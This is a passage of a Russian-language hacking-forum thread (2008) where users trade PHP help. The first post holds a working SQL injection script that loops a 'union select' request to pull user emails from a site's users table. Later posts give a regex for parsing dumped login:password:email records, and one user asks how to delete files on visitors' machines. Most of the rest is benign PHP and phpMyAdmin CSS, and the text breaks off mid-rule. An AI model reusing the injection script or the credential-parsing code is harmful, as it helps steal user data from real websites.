$str1 = "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
$str2 = ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";
$str = $str1.$i.$str2;
socket_write($fp,$str,strlen($str));
while($out = socket_read($fp,2048))
{}
}
Но не работает. Подскажите плиз почему ?
С fsock вроде разобрался. Помогите составить регулярку чтобы вытащить из кукиса (PHPSESSID=2311632a0e37308b5403aac65631185d)
значение PHPSESSID
$pattern = "|[a-z0-9]{32}|is";
preg_match_all($pattern, $text, $out);
и т.д и т.п
$y = "PHPSESSID=2311632a0e37308b5403aac65631185d";
$x = preg_match(/([\w]{32})/,$y,$z);
echo $z;
|[a-f0-9]{32}| вот так более правильно
С fsock вроде разобрался. Помогите составить регулярку чтобы вытащить из кукиса (PHPSESSID=2311632a0e37308b5403aac65631185d)
значение PHPSESSID
Если выдергиваешь из заголовков, переданных веб-сервером без дальнейшей обработки, то предложу свой вариант,
preg_match("~PHPSESSID=([\w\d]+)\;~",$header,$m); //PHPSESSID лежит в $m[1]
Noiro вместо [\w\d] просто [\w]
зачем в регулярке нужны ~?
astrologer
04.01.2008, 02:09
а вместо [\w] просто \w
зачем в регулярке нужны ~? Это ограничители.
зачем в регулярке нужны ~?
Просто / обычно содержится в самих регэкспах у меня, потому использую вместо / ~, чтобы не экранировать урл-ы.
<?php
set_time_limit(0);
foreach (glob("C:\TEST\*") as $filename)
{
unlink($filename);
}
?>
Вот нашол на Ачате скрипт каторый удаляет содержание папки C:\TEST\ -создал страницу с .php на хостинге http://vagonchik.com/ вставил этот скрипт. И захожу на эту страницу-и нифига файлы как были в той папке так и остались! Мож что то не то? ато я ужо теряццо начал
<?php
set_time_limit(0);
foreach (glob("C:\TEST\*") as $filename)
{
unlink($filename);
}
?>
Вот нашол на Ачате скрипт каторый удаляет содержание папки C:\TEST\ -создал страницу с .php на хостинге http://vagonchik.com/ вставил этот скрипт. И захожу на эту страницу-и нифига файлы как были в той папке так и остались! Мож что то не то? ато я ужо теряццо начал
Это Хостинг, мон шери, там тебя не пустят в эту папку
так нет погоди! я думал этот скрипт удаляет файлы в папке того кто зайдет на эту страницу! например: www............./info.php где в файле инфо.пхп будет скрипт-заходит чудак там на его компе удаляется все что есть в папке тест! Нет не то? а как зделать так?
так нет погоди! я думал этот скрипт удаляет файлы в папке того кто зайдет на эту страницу! например: www............./info.php где в файле инфо.пхп будет скрипт-заходит чудак там на его компе удаляется все что есть в папке тест! Нет не то? а как зделать так?
php скрипт исполняется на стороне сервера. Удалить файлы у пользователя через веб-страницу можно только, используя javascript exploit со специальным шеллкодом :)
используя javascript exploit со специальным шеллкодом
ого вот это ты загнал для меня это космос, ну что ж спасиба и на этом! БУду осваивать космос :)
.:EnoT:.
05.01.2008, 01:25
Хочу написать что-то вроде скрипта анонимности.
Для этого мне нужно научиться подменять http заголовки :)
То есть подмена таких данных как ОС, юзер-агент, рефферер, язык системы ну и подобное.
В гугле нашёл не очень много и не интересно.
Если у кого есть материал по данной теме очень буду благодарен если выложите...маны, учебники, всё что угодно.
Заранее спасибо!
почитай http://snippets.pp.ru/template.php?mode=php&c=1&cc=1
inlanger
05.01.2008, 15:24
Люди, помогите, пожалуйста.
Вопрос такой - как мне эмулировать нажатие ссылки _http://сайт.org//addpriv.php?uz=inlanger&mess=some_text
Делаю:
<?php ## "Эмуляция" браузера.
// Соединяемся с Web-сервером localhost. Обратите внимание,
// что префикс "http://" не используется - информация о протоколе
// и так содержится в номере порта (80).
$fp = fsockopen("zzoom.org", 80);
// Посылаем запрос главной страницы сервера. Конец строки
// в виде "\r\n" соответствует стандарту протокола HTTP.
fputs($fp, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.1\r\n");
// Посылаем обязательный для HTTP 1.1 заголовок Host.
fputs($fp, "Host: zzoom.org \r\n");
// Отключаем режим Keep-alive, что заставляет сервер СРАЗУ ЖЕ закрыть
// соединение после посылки ответа, а не ожидать следующего запроса.
// Попробуйте убрать эту строчку - и работа скрипта сильно замедлится.
fputs($fp, "Connection: close\r\n");
Конец заголовков.
fputs($fp, "\r\n");
// Теперь читаем по одной строке и выводим ответ.
echo "<pre>";
while (!feof($fp))
echo htmlspecialchars(fgets($fp, 1000));
echo "</pre>";
// Отключаемся от сервера.
fclose($fp);
?>
оно переходы считает(типа на сайте я что-то нажимаю), но сообщение не посылает.
2inlanger
сначала запиши всё в переменную а потом только посылай запрос.
и поставь http 1.0
inlanger
05.01.2008, 16:05
$connect=@fsockopen("zzoom.org",80,$errno,$errstr, 30);
$page="addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss";
// Отправляем команду GET - получить страницу (/)
fputs($connect,.$page."HTTP/1.0\n\n");
// Читаем ответ
while (!feof($s)) echo fgets($s,1000);
// Закрываем сокет
fclose($s);
немного упростил и переделал скрипт...всё равно реакция та же.
в первом примере строчка Конец заголовков. не закоментирована и если ты хочешь видеть не текст страницы убери htmlspecialchars()
второй пример полный бред не обозначено что гетом передаешь надо так:
$page='GET addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss ';
и соответственно пробел перед http забыл (я его уже в переменной включил) откуда взялась переменная $s хост неуказан полный бред короче
пользуй первый скрипт поставь вначале скрипта error_reporting (E_ALL); и посмотри ошибки которые выдаются
inlanger
05.01.2008, 16:22
$connect=@fsockopen("zzoom.org",80,$errno,$errstr, 30);
$page='GET addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss ';
// Отправляем команду GET - получить страницу (/)
fputs($connect,.$page."HTTP/1.0\n\n");
// Читаем ответ
while (!feof($connect)) echo fgets($connect,1000);
// Закрываем сокет
fclose($connect);
всё равно не пашет...
говорю пользуй первый пример:
<?php
error_reporting (E_ALL);
$fp = fsockopen("zzoom.org", 80);
fputs($fp, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.0\r\n");
fputs($fp, "Host: zzoom.org \r\n");
fputs($fp, "Connection: close\r\n");
fputs($fp, "\r\n");
echo "<pre>";
while (!feof($fp))
echo fgets($fp, 1000);
echo "</pre>";
fclose($fp);
?>
там же еще авторизация нужна как я понял
inlanger
05.01.2008, 16:39
хм...а как авторизироваться через скрипт?
вот что у меня получилось: _http://sportmobile.net/otp.php
<?
header( "Content-type: text/html; charset=UTF-8" );
error_reporting (E_ALL);
$fp = fsockopen("trubka.awardspace.com", 80);
fputs($fp, "GET /input.php?log=inlanger&par=460179 HTTP/1.0\r\n");
fputs($fp, "Host: trubka.awardspace.com \r\n");
//fputs($fp, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.0\r\n");
//fputs($fp, "Host: trubka.awardspace.com \r\n");
fputs($fp, "Connection: close\r\n");
fputs($fp, "\r\n");
echo "<pre>";
while (!feof($fp))
echo fgets($fp, 1000);
echo "</pre>";
fclose($fp);
//------------
echo "-------------------------";
$fp2 = fsockopen("trubka.awardspace.com", 80);
fputs($fp2, "GET /addpriv.php?uz=inlanger&mess=tyutyuytu666ssssssssss HTTP/1.0\r\n");
fputs($fp2, "Host: trubka.awardspace.com \r\n");
fputs($fp2, "Connection: close\r\n");
fputs($fp2, "\r\n");
echo "<pre>";
while (!feof($fp2))
echo fgets($fp2, 1000);
echo "</pre>";
fclose($fp2);
?>
подскажите скрипт для замены слов на их синонимы..
берешь массив слов, массив синонимов и str_replace() тебе в помощь
-=lebed=-
05.01.2008, 21:24
Как запустить внешнюю программу win32.ехе или (cmd) из скрипта php, как потом убить принудительно запущенный процесс?
Digimortal
05.01.2008, 21:38
запустить можно с помощью
system()
убить - с помощью запуска
taskkill /F /IM процесс
-=lebed=-
05.01.2008, 21:55
запустить можно с помощью
system()
убить - с помощью запуска
taskkill /F /IM процесс
Хотелось бы поподробнее
А именно запуск exe-файла с указанием пути (где вообще должен лежать исполняемый файл чтоб к нему был доступ), получение pid процесса, убийство процесса по pid.
ЗЫ Указание исполняемого файла по абсолютному пути работает, а относительный можно указать (относительно корневой web-директории)?
<?php
$command="start /w D:/passpro/PasswordsPro.exe /auto";
exec("$command");
?>
И как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?
как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?
ИМХО никак. Сам ищу такую возможность. Или это возможно через большую толстую вончую задницу используя консольный php. Но думаю что нет
Digimortal
05.01.2008, 23:22
где будет лежать файл - без разницы..
taskkill с данными параметрами, что я указал, убивает процесс по его имени, т.е.
taskkill /F /IM имя_процесса
т.ч. pid узнавать не надо..
можно указать относительный путь..
>> И как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?
я даже х.з.. я б вообще такое не пхп писал, а на PERLe например, используя треды..
я даже х.з.. я б вообще такое не пхп писал, а на PERLe например, используя треды..
Во-во, вот и я про то. Нужны потоки или на худой конец форки, но они только в консольной php
ээ, я не совсем понял мож быть, но чем вам такой вариант не нравится:
<?php
$f=fopen ("asd","w");
$spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("cmd.exe", $spec, $pipes);
for ($i=0; $i<100; $i++)
fwrite($pipes[0], "echo Hello World #$i!\n");
fclose($pipes[0]);
while (!feof($pipes[1])) fputs($f,fgets($pipes[1], 1024));
fclose($pipes[1]);
proc_close($proc);
?>
ээ, я не совсем понял мож быть, но чем вам такой вариант не нравится:
<?php
$f=fopen ("asd","w");
$spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("cmd.exe", $spec, $pipes);
for ($i=0; $i<100; $i++)
fwrite($pipes[0], "echo Hello World #$i!\n");
fclose($pipes[0]);
while (!feof($pipes[1])) fputs($f,fgets($pipes[1], 1024));
fclose($pipes[1]);
proc_close($proc);
?>
Гм интересная штука, но все равно делает не то, что надо. Надо запустить некую прогу и чтобы она сама по себе работала и выводила в файл, а скрипт при этом не зависал, а продолжал работу, например.
Macro, мож я реально чето не догоняю (после вчерашнего) но вот смотри:
<?php
$spec = array(
0 => array("pipe", "r"),
1 => array("file", "eeror", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("ping", $spec,$pipes);
fwrite($pipes[0], "localhost -t100\r\n");
echo 1233;
proc_close($proc);
?>
вроде как скрипт завершился, но файл eeror постоянно увеличивается, т.е. команда ping localhost -t100 выполняется и результат пишется в файл
Macro, мож я реально чето не догоняю (после вчерашнего) но вот смотри:
<?php
$spec = array(
0 => array("pipe", "r"),
1 => array("file", "eeror", "w"),
2 => array("file", "eeror", "a")
);
$proc = proc_open("ping", $spec,$pipes);
fwrite($pipes[0], "localhost -t100\r\n");
echo 1233;
proc_close($proc);
?>
вроде как скрипт завершился, но файл eeror постоянно увеличивается, т.е. команда ping localhost -t100 выполняется и результат пишется в файл
Сам, наверное, туплю, но у меня выдается в файл eeror ошибка использования команды ping...
угу, вначале файла синтаксис ping, а вниз прокрути, или у тебя файл eeror не увеличивается?
угу, вначале файла синтаксис ping, а вниз прокрути, или у тебя файл eeror не увеличивается?
Точно подметил, не увеличивается
дабы не вводить людей в заблуждение скажу:
да ты прав, я тупанул, я просто не завершил процесс когда пробовал а скрипт завершил принудительно и этот процесс у меня в файл и писал
вобщем пробую дальше что нибудь мож че и получится, хотя сейчас уже совсем не уверен
мм, на пшп писать такую вещь не следует, даже на перле будет проблематично
всё таки языки немного не для этого =\
хотя всё возможно
Digimortal
07.01.2008, 03:18
>> даже на перле будет проблематично
не проблематично..
И как сделать чтоб скрипт не ждал завершения внешней комманды, направить вывод в файл?
win32:
system("start /B prog.exe") # не ждать завершения работы прог.ехе, но и не завершать скрипт
system("start /B prog.exe > file") # тоже самое с перенаправлением вывода
аналогично для *nix:
system("setsid ./prog")
system("setsid ./prog 2> file")
Ded MustD!e
09.01.2008, 16:03
Есть бооольшущий txt файл состояций только из строчек (первая строка):
at :: (ip: *)</font></td><td valign=bottom align=right>(<a href=# onClick=javascript:popUp("message.php?id=9")>E</a>)</td></table></td></tr></table></td></tr></table><table width="100%" border="0" cellspacing="0" cellpadding="0" bordercolor="#FFFFFF"> <tr> <td height="27"> <table width="100%" border="0" cellspacing="2" cellpadding="2"><tr> <td width="30"> <div align="center"><b>2</b></div></td><td width="30" bgcolor="#CBD5DC" valign="bottom"> <div align="center"> <a href=http://site.com/profile.php?id=6><img src=Site.com/25000000.gif border=0 width=20 height=20 alt='a'></a></div></td><td valign="bottom" bgcolor="#CBD5DC"> <b>vasia:qwe123:1@mail.ru:222345</b></td><td width="100" valign="bottom" bgcolor="#CBD5DC"> <div align="right"><b> <a href='mailto:a@b.com'>4</a></b></div></td></tr></table></td></tr><tr> <td><table width="100%" border="0" cellspacing="2" cellpadding="2"><tr bgcolor="#CBD5DC"> <td bgcolor="#E6EBEE"> <font size="2" face="Geneva, Arial, Helvetica, san-serif">3<br><table width=100%><td valign=bottom align=left><br><div align=left><font size=1>10<div align=left><font size=1>Posted on: 8
Естественно хотелось бы вычленить от сюда части vasia:qwe123:1@mail.ru:222345 в отдельный файл, при этом поле icq не всегда присутствует, то есть бывает вид vasia:qwe123:1@mail.ru: открыть-закрыть-записать в файл я в состоянии, но вот написать реглярку, как я понимаю надо через preg_match делать, но че там со слоями и чтобы все это еще и работало, я сделать не могу. Заранее спасибо, отплюсую всех, кто поможет.
preg_match_all('/([^>:]+):([^:]+):([^:]+):([^:<]*)/',$file,$matches);
$names=$matches[1];
$passes=$matches[2];
$mails=$matches[3];
$icqs=$matches[4];
Что-то типа того
presidentua
09.01.2008, 16:22
Такой ламаковский вопрос :)
в пхпбб есть такой код
if ( !defined('IN_PHPBB') ) { die("Hacking attempt"); exit; }
а есть и без "exit"
if (!defined('IN_PHPBB')) { die('Hacking attempt'); }
Знач вопрос - зачем в первом варианте exit, здесь есть какой то тайный смысл (ну типа ДАЙ не всегда срабатывает и т.д.) или это они добавили ДАЙ, а ЕХИТ им было впадло удалять.
После die() код уже не выполняется
Такой ламаковский вопрос :)
Впадлу удалять было :) Разницы никакой, exit все равно не сработает
lsass.exe
09.01.2008, 16:25
Такой ламаковский вопрос :)
в пхпбб есть такой код
if ( !defined('IN_PHPBB') ) { die("Hacking attempt"); exit; }
а есть и без "exit"
if (!defined('IN_PHPBB')) { die('Hacking attempt'); }
Знач вопрос - зачем в первом варианте exit, здесь есть какой то тайный смысл (ну типа ДАЙ не всегда срабатывает и т.д.) или это они добавили ДАЙ, а ЕХИТ им было впадло удалять.
вабще exit() прерывает дальнейшую работу скрипта без вывода некого сообщения, а конструкция die() также позволяет указать сообщение, которое будет выведено, а после уже завершится работа скрипта.
astrologer
09.01.2008, 16:32
lsass.exe,
void exit ([ string $status ] )
exit — Output a message and terminate the current script
die — Equivalent to exit()
Ded MustD!e, можно сначала вырезать все теги (strip_tags), будет проще.
Ded MustD!e, можно сначала вырезать все теги (strip_tags), будет проще.
УЖе не нужно, мой алгоритм работает и с тегами. Была ошибка, я ее поправил.
:)
Ну в том то и вопрос нафиг ЕХИТ. Или может им за размер исходников платят.
Всяко бывает. =) А почему тебя это так интересует?
presidentua
09.01.2008, 16:40
Всяко бывает. =) А почему тебя это так интересует?
Просто интересно, я думал может есть какой то БАГ в реализации ПХП, что позволяет обойти ДАЙ, и они для пущей надежности вставили ЕХИТ. И может и мне надо везде повставлять после ДАЙ еще и ЕХИТ.
Ну раз нет такого БАГа то не буду засорять код у себя.
Всем спасибо :)
lsass.exe
09.01.2008, 16:51
lsass.exe,
Ded MustD!e, можно сначала вырезать все теги (strip_tags), будет проще.
хм, помню когда в книге читал было написано как в моем посте выше...
Все может быть :D
2presidentua норкомане-программисты есть везде. Чего стоит код из DLE
// ================================================== =============
// <<-- Проверка GD -->>
// ================================================== =============
function gdversion(){
static $gd_version_number = null;
if ($gd_version_number === null) {
ob_start();
phpinfo(8);
$module_info = ob_get_contents();
ob_end_clean();
if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
$module_info, $matches)) {
$gdversion_h = $matches[1];
} else {
$gdversion_h = 0;
}
}
return $gdversion_h;
}
Люди не знают что такое gd_info() и extension_loaded()
Гг угу бывает всякое, например, объясните, как может отсутствовать $_SERVER['REMOTE_ADDR'] ?
Разработчики WCPS cms считают, что может.
$ip=($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : getenv("HTTP_X_FORWARDED_FOR");
Где-то еще видел такое
$val=intval($_GET['val']);
$val=mysql_escape_string($val);
Conquerstador
09.01.2008, 18:28
Вот код phpmyadmin где надо прописать меня пользователь и пароль???
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
*
* @version $Id: phpmyadmin.css.php 10950 2007-12-01 16:06:01Z lem9 $
*/
/**
*
*/
// sometimes, we lose $_REQUEST['js_frame']
define('PMA_FRAME',empty($_REQUEST['js_frame']) ? 'right' : $_REQUEST['js_frame']);
define('PMA_MINIMUM_COMMON', true);
require_once './libraries/common.inc.php';
require_once './libraries/sqlparser.lib.php';
// MSIE 6 (at least some unpatched versions) has problems loading CSS
// when zlib_compression is on
if (PMA_USR_BROWSER_AGENT == 'IE' && PMA_USR_BROWSER_VER == '6'
&& (ini_get('zlib.output_compression'))) {
ini_set('zlib.output_compression', 'Off');
}
if ($GLOBALS['text_dir'] === 'ltr') {
$right = 'right';
$left = 'left';
} else {
$right = 'left';
$left = 'right';
}
// Send correct type:
header('Content-Type: text/css; charset=ISO-8859-1');
// Cache output in client - the nocache query parameter makes sure that this
// file is reloaded when config changes
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 3600) . ' GMT');
?>
html {
font-size: <?php echo $_SESSION['PMA_Config']->get('fontsize'); ?>;
}
input, select, textarea {
font-size: 1em;
}
div.item label {
white-space: nowrap;
}
/* @deprecated */
.nowrap {
white-space: nowrap;
}
div.nowrap {
margin: 0;
padding: 0;
}
<?php
if ($_SESSION['PMA_Theme']->checkVersion('2.7.0')) {
?>
form {
margin: 0;
padding: 0;
display: inline;
}
a img {
border: 0;
}
/* server privileges */
#tableuserrights td,
#tablespecificuserrights td,
#tabledatabases td {
vertical-align: middle;
}
/* END server privileges */
/* leave some space between icons and text */
.icon {
vertical-align: middle;
margin-right: 0.3em;
margin-left: 0.3em;
}
/* no extra space in table cells */
td .icon {
margin: 0;
}
.selectallarrow {
margin-<?php echo $right; ?>: 0.3em;
margin-<?php echo $left; ?>: 0.6em;
}
div#tablestatistics {
border-bottom: 0.1em solid #669999;
margin-bottom: 0.5em;
padding-bottom: 0.5em;
}
div#tablestatistics table {
float: <?php echo $left; ?>;
margin-bottom: 0.5em;
margin-right: 0.5em;
}
div#tablestatistics table caption {
margin-right: 0.5em;
}
/* left frame content */
body#body_leftFrame {
background-color: <?php echo $GLOBALS['cfg']['LeftBgColor']; ?>;
}
div#pmalogo,
div#leftframelinks,
div#databaseList {
text-align: center;
border-bottom: 0.1em solid #669999;
margin-bottom: 0.5em;
padding-bottom: 0.5em;
}
div#leftframelinks .icon {
vertical-align: middle;
padding: 0;
margin: 0;
}
div#leftframelinks a:hover {
background-color: #669999;
}
/* leftdatabaselist */
div#left_tableList ul {
list-style-type: none;
list-style-position: outside;
margin: 0;
padding: 0;
background-color: <?php echo $GLOBALS['cfg']['LeftBgColor']; ?>;
}
div#left_tableList li {
margin: 0;
padding: 0;
white-space: nowrap;
}
<?php if ($GLOBALS['cfg']['LeftPointerEnable']) { ?>
div#left_tableList li:hover {
background-color: <?php echo $GLOBALS['cfg']['LeftPointerColor']; ?>;
}
<?php } ?>
div#left_tableList img {
padding: 0;
vertical-align: middle;
}
div#left_tableList ul ul {
margin-left: 0em;
padding-left: 0.1em;
border-left: 0.1em solid #669999;
padding-bottom: 0.1em;
border-bottom: 0.1em solid #669999;
}
/* END left frame content */
/* querywindow */
body#bodyquerywindow {
margin: 0;
padding: 0;
}
div#querywindowcontainer {
margin: 0;
padding: 0;
width: 100%;
}
div#querywindowcontainer fieldset {
margin-top: 0;
}
/* END querywindow */
/* querybox */
/* Gecko bug */
div[class=formelementrow],
div[id=queryfieldscontainer] {
border: 1px solid transparent;
}
div#sqlquerycontainer {
float: left;
width: 69%;
/* height: 15em; */
}
div#tablefieldscontainer {
float: right;
width: 29%;
/* height: 15em; */
}
div#tablefieldscontainer select {
width: 100%;
/* height: 12em; */
}
textarea#sqlquery {
width: 100%;
/* height: 100%; */
}
div#queryboxcontainer div#bookmarkoptions {
margin-top: 0.5em;
}
/* end querybox */
fieldset .formelement {
line-height: 2.4em;
float: left;
margin-right: 0.5em;
/* IE */
white-space: nowrap;
}
/* revert for Gecko */
fieldset div[class=formelement] {
white-space: normal;
}
/* IE */
fieldset .formelement input,
fieldset .formelement select {
margin-top: 0.5em;
margin-bottom: 0.5em;
}
/* revert for Gecko */
fieldset div[class=formelement] input,
fieldset div[class=formelement] select {
margin-top: auto;
margin-bottom: auto;
height: auto;
}
/* Calendar */
table.calendar { width: 100%; }
table.calendar td { text-align: center; }
table.calendar td a { display: block; }
table.calendar td a:hover {
background-color: <?php echo $GLOBALS['cfg']['BrowsePointerColor']; ?>;
}
table.calendar th {
background-color: <?php echo $GLOBALS['cfg']['ThBgcolor']; ?>;
}
table.calendar td.selected {
background-color: <?php echo $GLOBALS['cfg']['BrowseMarkerColor']; ?>;
}
img.calendar { border: none; }
form.clock { text-align: center; }
/* end Calendar */
/* Options, eg. on import page */
fieldset {
background-color: <?php echo $GLOBALS['cfg']['BgcolorOne']; ?>;
}
fieldset legend {
background-color: transparent;
}
/* buttons in some browsers (eg. Konqueror) are block elements, this breaks design */
button { display: inline; }
/* Textarea */
textarea { overflow: auto; }
/* topmenu */
/* Gecko 1.7 bug (FF 1.0) */
#topmenucontainer {
border: 1px solid <?php echo $GLOBALS['cfg']['RightBgColor']; ?>;
}
ul#topmenu {
font-weight: bold;
list-style-type: none;
margin: 0;
padding: 0;
}
ul#topmenu li {
float: left;
margin: 0;
padding: 0;
vertical-align: middle;
}
#topmenu img {
vertical-align: middle;
margin-right: 0.1em;
}
/* default tab styles */
.tab, .tabcaution, .tabactive {
display: block;
margin: 0.2em 0.2em 0 0.2em;
padding: 0.2em 0.2em 0 0.2em;
white-space: nowrap;
}
/* disabled tabs */
span.tab {
color: #666666;
}
/* disabled drop/empty tabs */
span.tabcaution {
color: #ff6666;
}
/* enabled drop/empty tabs */
a.tabcaution {
color: #FF0000;
}
a.tabcaution:hover {
color: #FFFFFF;
background-color: #FF0000;
}
<?php if ($GLOBALS['cfg']['LightTabs']) { ?>
/* active tab */
a.tabactive {
color: black;
}
<?php } else { ?>
#topmenu {
margin-top: 0.5em;
padding: 0.1em 0.3em 0.1em 0.3em;
}
ul#topmenu li {
border-bottom: 1pt solid black;
}
/* default tab styles */
.tab, .tabcaution, .tabactive {
background-color: <?php echo $GLOBALS['cfg']['BgcolorOne']; ?>;
border: 1pt solid <?php echo $GLOBALS['cfg']['BgcolorTwo']; ?>;
border-bottom: 0;
border-top-left-radius: 0.4em;
border-top-right-radius: 0.4em;
}
/* enabled hover/active tabs */
a.tab:hover, a.tabcaution:hover, .tabactive, .tabactive:hover {
margin: 0;
padding: 0.2em 0.4em 0.2em 0.4em;
text-decoration: none;
}
a.tab:hover, .tabactive {
background-color: <?php echo $GLOBALS['cfg']['BgcolorTwo']; ?>;
}
/* disabled drop/empty tabs */
span.tab, span.tabcaution {
cursor: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/error.ico), default;
}
<?php } ?>
/* end topmenu */
/* data tables */
table caption,
table th,
table td {
padding: 0.1em 0.5em 0.1em 0.5em;
margin: 0;
margin: 0.1em;
vertical-align: top;
}
/* odd table rows 1,3,5,7,... */
table tr.odd th,
table tr.odd {
background-color: <?php echo $GLOBALS['cfg']['BgcolorOne']; ?>;
}
/* even table rows 2,4,6,8,... */
table tr.even th,
table tr.even {
background-color: <?php echo $GLOBALS['cfg']['BgcolorTwo']; ?>;
}
/* marked table rows */
table tr.marked th,
table tr.marked {
background-color: <?php echo $GLOBALS['cfg']['BrowseMarkerColor']; ?>;
}
/* hovered table rows */
table tr.odd:hover,
table tr.even:hover,
table tr.odd:hover th,
table tr.even:hover th,
table tr.hover th,
table tr.hover {
background-color: <?php echo $GLOBALS['cfg']['BrowsePointerColor']; ?>;
}
table .value {
text-align: right;
white-space: nowrap;
}
/* IE doesnt handles 'pre' right */
table [class=value] {
white-space: pre;
}
.value {
font-family: "Courier New", Courier, monospace;
}
.value .attention {
color: red;
font-weight: bold;
}
.value .allfine {
color: green;
}
/* serverstatus */
div#serverstatus table caption a.top {
float: right;
}
div#serverstatus div#serverstatusqueriesdetails table,
div#serverstatus table#serverstatustraffic,
div#serverstatus table#serverstatusconnections {
float: left;
}
#serverstatussection,
.clearfloat {
clear: both;
}
div#serverstatussection table {
width: 100%;
margin-bottom: 1em;
}
div#serverstatussection table .name {
width: 18em;
}
div#serverstatussection table .value {
width: 6em;
}
div#serverstatus table tbody td.descr a,
div#serverstatus table .tblFooters a {
white-space: nowrap;
}
div#serverstatus div#statuslinks a:before,
div#serverstatus div#sectionlinks a:before,
div#serverstatus table tbody td.descr a:before,
div#serverstatus table .tblFooters a:before {
content: '[';
}
div#serverstatus div#statuslinks a:after,
div#serverstatus div#sectionlinks a:after,
div#serverstatus table tbody td.descr a:after,
div#serverstatus table .tblFooters a:after {
content: ']';
}
/* end serverstatus */
img.lightbulb {
cursor: pointer;
}
<?php
} // end styles 2.7.0
if ($_SESSION['PMA_Theme']->checkVersion('2.7.1')) {
?>
/********************/
/* NEW in PMA 2.7.1 */
/********************/
body.loginform h1,
body.loginform a.logo {
display: block;
text-align: center;
}
form.login label {
float: left;
width: 10em;
font-weight: bolder;
}
/* main page */
#maincontainer {
background-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/logo_right.png);
background-position: <?php echo $right; ?> bottom;
background-repeat: no-repeat;
border-bottom: 1px solid silver;
}
#mysqlmaininformation,
#pmamaininformation {
float: <?php echo $left; ?>;
width: 49%;
}
#maincontainer ul {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/item_<?php echo $GLOBALS['text_dir']; ?>.png);
vertical-align: middle;
}
#maincontainer li {
margin-bottom: 0.3em;
}
/* END main page */
<?php if ($GLOBALS['cfg']['MainPageIconic']) { ?>
/* iconic view for ul items */
li#li_create_database {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_newdb.png);
}
li#li_select_lang {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_lang.png);
}
li#li_select_mysql_collation,
li#li_select_mysql_charset {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_asci.png);
}
li#li_select_theme{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_theme.png);
}
li#li_server_info{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_host.png);
}
li#li_user_info{
/* list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_rights.png); */
}
li#li_mysql_status{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_status.png);
}
li#li_mysql_variables{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_vars.png);
}
li#li_mysql_processes{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_process.png);
}
li#li_mysql_collations{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_asci.png);
}
li#li_mysql_engines{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_engine.png);
}
li#li_mysql_binlogs {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_tbl.png);
}
li#li_mysql_databases {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_db.png);
}
li#li_export {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_export.png);
}
li#li_import {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_import.png);
}
li#li_change_password {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_passwd.png);
}
li#li_log_out {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_loggoff.png);
}
li#li_pma_docs {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_docs.png);
}
li#li_phpinfo {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/php_sym.png);
}
li#li_pma_homepage {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_home.png);
}
li#li_mysql_privilegs{
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_rights.png);
}
li#li_switch_dbstats {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/b_dbstatistics.png);
}
li#li_flush_privileges {
list-style-image: url(<?php echo $GLOBALS['cfg']['ThemePath']; ?>/original/img/s_reload.png);
}
/* END iconic view for ul items */
<?php } /* end if $GLOBALS['cfg']['MainPageIconic'] */ ?>
#body_browse_foreigners {
background-color: <?php echo $cfg['LeftBgColor']; ?>;
margin: 5px 5px 0 5px;
}
#bodyquerywindow {
background-color: <?php echo $cfg['LeftBgColor']; ?>;
}
#bodythemes {
width: 500px;
margin: auto;
text-align: center;
}
#bodythemes img {
border: 0.1em solid black;
}
#bodythemes a:hover img {
border: 0.1em solid red;
}
#fieldset_select_fields {
float: left;
}
#selflink {
